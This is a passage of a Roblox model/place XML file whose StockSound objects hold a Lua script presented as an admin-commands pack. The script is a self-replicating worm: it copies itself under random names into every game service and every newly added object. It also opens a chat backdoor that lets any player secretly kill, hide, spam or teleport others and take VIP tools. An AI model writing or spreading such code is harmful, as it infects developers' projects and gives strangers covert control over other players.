game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX568">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8.01062965</X>
							<Y>0.889322281</Y>
							<Z>190.019165</Z>
							<R00>-0.885287762</R00>
							<R01>0.465043157</R01>
							<R02>0.000604039466</R02>
							<R10>-0.000680366473</R10>
							<R11>3.91795356e-006</R11>
							<R12>-0.999999702</R12>
							<R20>-0.465043068</R20>
							<R21>-0.885287881</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">1</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P4</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">4</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.0017326565</X>
							<Y>-0.000353980606</Y>
							<Z>0.00213139458</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX569">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">m3f6ebg</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX570">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">iumtx578</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX571">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-7.54558611</X>
							<Y>0.889326215</Y>
							<Z>189.133881</Z>
